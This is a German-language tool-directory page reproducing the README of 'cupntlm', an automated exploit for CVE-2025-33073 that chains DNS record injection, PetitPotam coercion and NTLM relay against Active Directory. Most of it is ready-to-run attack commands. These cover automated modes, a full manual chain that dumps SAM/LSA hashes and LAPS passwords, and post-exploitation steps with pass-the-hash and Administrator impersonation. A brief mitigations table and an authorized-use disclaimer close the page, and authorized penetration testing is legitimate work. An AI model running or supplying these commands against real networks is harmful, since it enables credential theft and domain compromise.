Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cupntlm-Automated-Exploit-For-CVE-2025-33073- — cupntlm | Kitploit
Tools/GitHubGitHub/egcupcake/cupntlm-automated-exploit-for-cve-2025-33073-
Privilege EscalationAufklärungSchwachstellenanalyseExploitationLaterale BewegungInformationsbeschaffungPost-ExploitationPenetrationstestsCommand and Control

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Authentifizierung
Red Teaming
DNS-Analyse
GitHubegcupcake/cupntlm-automated-exploit-for-cve-2025-33073-

cupntlm-Automated-Exploit-For-CVE-2025-33073-

cupntlm

Repository anzeigen
3vor 4 MonatenNoch nicht geprüft

cupntlm

CVE-2025-33073 — NTLM-Reflection-Bypass per DNS-Coercion
Automatisiertes Exploitation-Tool für Active-Directory-Umgebungen.


Übersicht

cupntlm automatisiert die NTLM-Reflection/Relay-Angriffskette, die CVE-2025-33073 ausnutzt. Es kombiniert DNS-Record-Injection, erzwungene Authentifizierungs-Coercion (PetitPotam) und NTLM-Relay in einem einzigen Workflow. Das Tool unterstützt zwei Betriebsmodi, abhängig von Umfang und Stealth-Anforderungen.

Zusammenfassung der Angriffskette

root@kitploit:~
Attacker                    Domain Controller              Target Host
   │                               │                            │
   │── 1. Inject DNS record ───────▶│                            │
   │      (attacker IP as target)   │                            │
   │                                │                            │
   │── 2. Coerce auth (PetitPotam) ─────────────────────────────▶│
   │                                │                            │
   │◀─ 3. NTLM auth forwarded back ─────────────────────────────│
   │                                │                            │
   │── 4. Relay to DC ─────────────▶│                            │
   │      (ntlmrelayx)              │                            │
   │                                │                            │
   │◀─ 5. Shell / secretsdump / etc.│                            │

Voraussetzungen im Zielnetzwerk:

  • SMB-Signierung deaktiviert am Relay-Ziel
  • Ein gültiges Domain-Konto mit niedrigen Privilegien (schreibgeschützt reicht)
  • Netzwerkzugriff auf den DC (Port 389 LDAP, 445 SMB)

Anforderungen

Systempakete

Python-Bibliotheken

BibliothekInstallation
impacketpip3 install impacket --break-system-packages
coloramapip3 install colorama --break-system-packages
dnspython

Inhalt des Verzeichnisses exploit/ (wird von setup.sh automatisch befüllt)

root@kitploit:~
exploit/
├── cupntlm.py
├── ntlmrelayx.py       # from impacket
├── dnstool.py          # from krbrelayx
├── lib/                # krbrelayx support library
└── PetitPotam.py

Installation

root@kitploit:~
git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh

Verwendung

Check-Modus — Angriffsmachbarkeit prüfen

Prüft den SMB-Signierungsstatus auf den Zielen und validiert die Domain-Anmeldedaten, bevor irgendetwas versucht wird.

root@kitploit:~
cd exploit
sudo python3 cupntlm.py check \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100

Per-Target-Modus — Separater DNS-Record pro Host

Erstellt einen eindeutigen DNS-Record für jedes Ziel, löst die Coercion einzeln aus und räumt die Records zwischen den Durchläufen auf. Langsamer, aber präziser und erzeugt weniger Rauschen.

root@kitploit:~
sudo python3 cupntlm.py per-target \
  --targets targets.txt \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100 \
  --loot loot.txt

Single-Modus — Ein DNS-Record, permanentes Relay

Injiziert einen einzelnen DNS-Record und hält ntlmrelayx während der Verarbeitung aller Ziele kontinuierlich am Laufen. Schneller bei großen Zielumfängen.

root@kitploit:~
sudo python3 cupntlm.py single \
  --targets targets.txt \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100 \
  --loot loot.txt

targets.txt-Format

root@kitploit:~
192.168.1.10
192.168.1.11
192.168.1.12

Manuelle Exploitation

Die folgenden Schritte bilden die vollständige Angriffskette manuell nach, ohne cupntlm.py zu verwenden. Nützlich zum Verständnis der Grundbausteine, zum Debuggen oder zur Anpassung an nicht standardmäßige Umgebungen.

Schritt 1 — SMB-Signierung enumerieren

Ermittle Hosts, bei denen die SMB-Signierung deaktiviert ist. Diese sind deine gültigen Relay-Ziele.

root@kitploit:~
netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt

Oder mit nmap:

root@kitploit:~
nmap -p 445 --script smb2-security-mode 192.168.1.0/24

Achte auf:

root@kitploit:~
Message signing enabled but not required   ← valid relay target
Message signing enabled and required       ← cannot relay here

Schritt 2 — Bösartigen DNS-Record injizieren

Verwende dnstool.py, um einen A-Record im DNS der Domain hinzuzufügen, der einen Hostnamen auf deine Maschine zeigt. Wenn ein Ziel diesen Hostnamen auflöst und sich authentifiziert, landet die Anfrage auf deinem Relay-Listener.

root@kitploit:~
cd exploit/

python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action add \
  --record 'attacker-relay' \
  --data 192.168.45.200 \        # your attacker IP
  --type A \
  10.0.0.1                       # DC IP

Überprüfe, ob der Record hinzugefügt wurde:

root@kitploit:~
python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action query \
  --record 'attacker-relay' \
  10.0.0.1

Schritt 3 — NTLM-Relay-Listener starten

Starte ntlmrelayx.py, bevor du die Coercion auslöst. Es wartet dann auf eingehende Authentifizierungen.

Relay zu SMB — SAM/LSA dumpen:

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t smb://192.168.1.100 \
  -smb2support \
  --no-http-server

Relay zu LDAP — neues Maschinenkonto erstellen (für RBCD / Shadow Credentials):

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t ldap://10.0.0.1 \
  --delegate-access \
  --no-smb-server \
  --no-http-server

Relay zu LDAPS — Domain-Geheimnisse dumpen:

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t ldaps://10.0.0.1 \
  --dump-laps \
  --no-smb-server \
  --no-http-server

Schritt 4 — Authentifizierung mit PetitPotam erzwingen

Löse auf der Zielmaschine eine ausgehende Authentifizierung gegenüber deinem injizierten DNS-Record aus. PetitPotam missbraucht das MS-EFSRPC-Interface — auf nicht gepatchten Hosts sind keine Anmeldedaten erforderlich, für gepatchte verwendet man gültige Anmeldedaten.

Ohne Authentifizierung (nicht gepatchtes Ziel):

root@kitploit:~
python3 PetitPotam.py \
  [dnsname] \         # your listener IP (matches DNS record)
  192.168.1.50             # target host to coerce

Mit Authentifizierung (gepatchtes Ziel, gültige Anmeldedaten erforderlich):

root@kitploit:~
python3 PetitPotam.py \
  -u pentester \
  -p 'P@ss' \
  -d lab.local \
   [dnsname] \
  192.168.1.50

An diesem Punkt sendet der gezwungene Host seine NTLM-Authentifizierung an deine Maschine → ntlmrelayx fängt sie ab und leitet sie weiter.


Schritt 5 — Ausgabe sammeln

Je nachdem, welches Relay-Ziel du in Schritt 3 gewählt hast:

  • SMB-Relay → ntlmrelayx gibt Hashes auf stdout aus und schreibt <hostname>_samhashes.txt / _lsahashes.txt
  • LDAP delegate-access → ntlmrelayx gibt den Namen und das Passwort des erstellten Maschinenkontos aus; fahre anschließend mit getST.py fort, um ein Service-Ticket zu erhalten
  • LDAPS-Dump → LAPS-Passwörter werden direkt ausgegeben

Schritt 6 — DNS-Record bereinigen

Entferne injizierte DNS-Records nach dem Engagement immer.

root@kitploit:~
python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action remove \
  --record 'attacker-relay' \
  --data 192.168.45.200 \
  --type A \
  10.0.0.1

Post-Exploitation-Beispiele

Pass-the-Hash mit einem weitergereichten Maschinenkonto:

root@kitploit:~
impacket-secretsdump \
  'lab.local/MACHINE$'@10.0.0.1 \
  -hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>

Ein Service-Ticket für S4U2Self erhalten (nach RBCD):

root@kitploit:~
impacket-getST \
  -spn cifs/TARGET.lab.local \
  -impersonate Administrator \
  'lab.local/ATTACKERMACHINE$:password'

Das Ticket verwenden:

root@kitploit:~
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.lab.local

Gegenmaßnahmen

MaßnahmeWirkung

Haftungsausschluss

Dieses Tool ist ausschließlich für autorisierte Penetrationstests und Sicherheitsforschung bestimmt.
Verwende es nicht gegen Systeme, für die du keine ausdrückliche schriftliche Genehmigung zum Testen hast.


Danksagungen

  • fortra/impacket — ntlmrelayx
  • dirkjanm/krbrelayx — dnstool
  • topotam/PetitPotam — EFS-Coercion
Tool herunterladen
ToolZweck
python3Laufzeitumgebung
pip3Python-Paketmanager
gitKlonen von Abhängigkeiten
wgetHerunterladen von Dateien
nmapSMB-Signierungs-Enumeration
netexec / crackmapexecSMB-Signierungsprüfung (optional)
pip3 install dnspython --break-system-packages
SMB-Signierung (erforderlich) auf allen Hosts aktivierenUnterbricht Relay zu SMB
LDAP-Signierung + Channel Binding aktivierenUnterbricht Relay zu LDAP/LDAPS
MS-EFSRPC patchen (KB5005413)Blockiert nicht authentifiziertes PetitPotam
Erstellung von DNS-Records auf Administratoren beschränkenBlockiert den DNS-Injectionsschritt
NTLM-Netzwerkauthentifizierung deaktivieren (Kerberos bevorzugen)Eliminiert die gesamte Klasse